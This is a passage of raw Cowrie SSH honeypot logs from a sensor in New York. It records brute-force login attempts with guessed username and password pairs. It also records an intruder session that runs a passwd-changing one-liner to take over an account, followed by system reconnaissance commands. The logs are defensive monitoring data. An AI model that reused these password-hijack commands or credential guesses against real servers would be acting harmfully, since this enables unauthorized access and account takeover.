","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:05.664399Z","src_ip":"113.161.222.150","session":"daba2c9a05ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:06.646987Z","src_ip":"113.161.222.150","session":"daba2c9a05ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:07.890387Z","src_ip":"113.161.222.150","session":"daba2c9a05ac","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:08.205399Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:08.208278Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:08.690259Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:08.978026Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"administrator\\ndMb30JhmH212\\ndMb30JhmH212\"|passwd|bash","message":"CMD: echo -e \"administrator\\ndMb30JhmH212\\ndMb30JhmH212\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:08.980484Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:08.983386Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:08.986108Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/55d9202e2d1d64b367c65a88b35505a2d9fde08eb6518fecb7068f9b2cc89d34","size":32,"shasum":"55d9202e2d1d64b367c65a88b35505a2d9fde08eb6518fecb7068f9b2cc89d34","duplicate":false,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/55d9202e2d1d64b367c65a88b35505a2d9fde08eb6518fecb7068f9b2cc89d34 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:09.468124Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:09.759441Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"administrator\\ndMb30JhmH212\\ndMb30JhmH212\\n\"|passwd","message":"CMD: echo \"administrator\\ndMb30JhmH212\\ndMb30JhmH212\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:09.761906Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/516ab8d44d5a9c50c73ea38abe6acc6938fc4ecf3aa8c89df04cb6834ba79c6c","size":25,"shasum":"516ab8d44d5a9c50c73ea38abe6acc6938fc4ecf3aa8c89df04cb6834ba79c6c","duplicate":false,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/516ab8d44d5a9c50c73ea38abe6acc6938fc4ecf3aa8c89df04cb6834ba79c6c after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:10.241308Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:10.521858Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:10.523953Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:11.005548Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:11.298028Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:11.300334Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:11.778687Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:12.061074Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:12.063678Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:12.066427Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":65,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:12.551464Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.205.153","src_port":60294,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6139f1405ae","protocol":"ssh","message":"New connection: 152.32.205.153:60294 (10.17.0.5:22) [session: d6139f1405ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:12.757341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:12.760857Z","src_ip":"152.32.205.153","session":"d6139f1405ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:12.769492Z","src_ip":"152.32.205.153","session":"d6139f1405ae","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:12.855107Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:12.858947Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456qwerty","message":"login attempt [ubuntu/123456qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:12.936320Z","src_ip":"152.32.205.153","session":"d6139f1405ae","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:13.341700Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:13.631986Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:13.634010Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:13.949149Z","src_ip":"152.32.205.153","session":"d6139f1405ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":2489,"dst_ip":"159.203.135.109","dst_port":22,"session":"547dacf0c152","protocol":"ssh","message":"New connection: 196.188.93.169:2489 (159.203.135.109:22) [session: 547dacf0c152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:14.098842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:14.103208Z","src_ip":"196.188.93.169","session":"547dacf0c152","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":205,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:14.119499Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:14.272049Z","src_ip":"196.188.93.169","session":"547dacf0c152","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:14.418241Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:14.420839Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:14.901875Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mg123","message":"login attempt [root/Mg123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:14.978805Z","src_ip":"196.188.93.169","session":"547dacf0c152","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:15.189284Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:15.191568Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:15.672623Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:15.963669Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:15.966330Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:16.149635Z","src_ip":"196.188.93.169","session":"547dacf0c152","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:16.446911Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:16.721520Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:16.723378Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:17.245891Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.199.16.90","src_port":35980,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ad00a4c8dab","protocol":"ssh","message":"New connection: 103.199.16.90:35980 (159.203.135.109:22) [session: 9ad00a4c8dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:17.262323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:17.268302Z","src_ip":"103.199.16.90","session":"9ad00a4c8dab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:17.482740Z","src_ip":"103.199.16.90","session":"9ad00a4c8dab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:17.549789Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:17.551943Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:18.032115Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:18.313835Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:18.316710Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
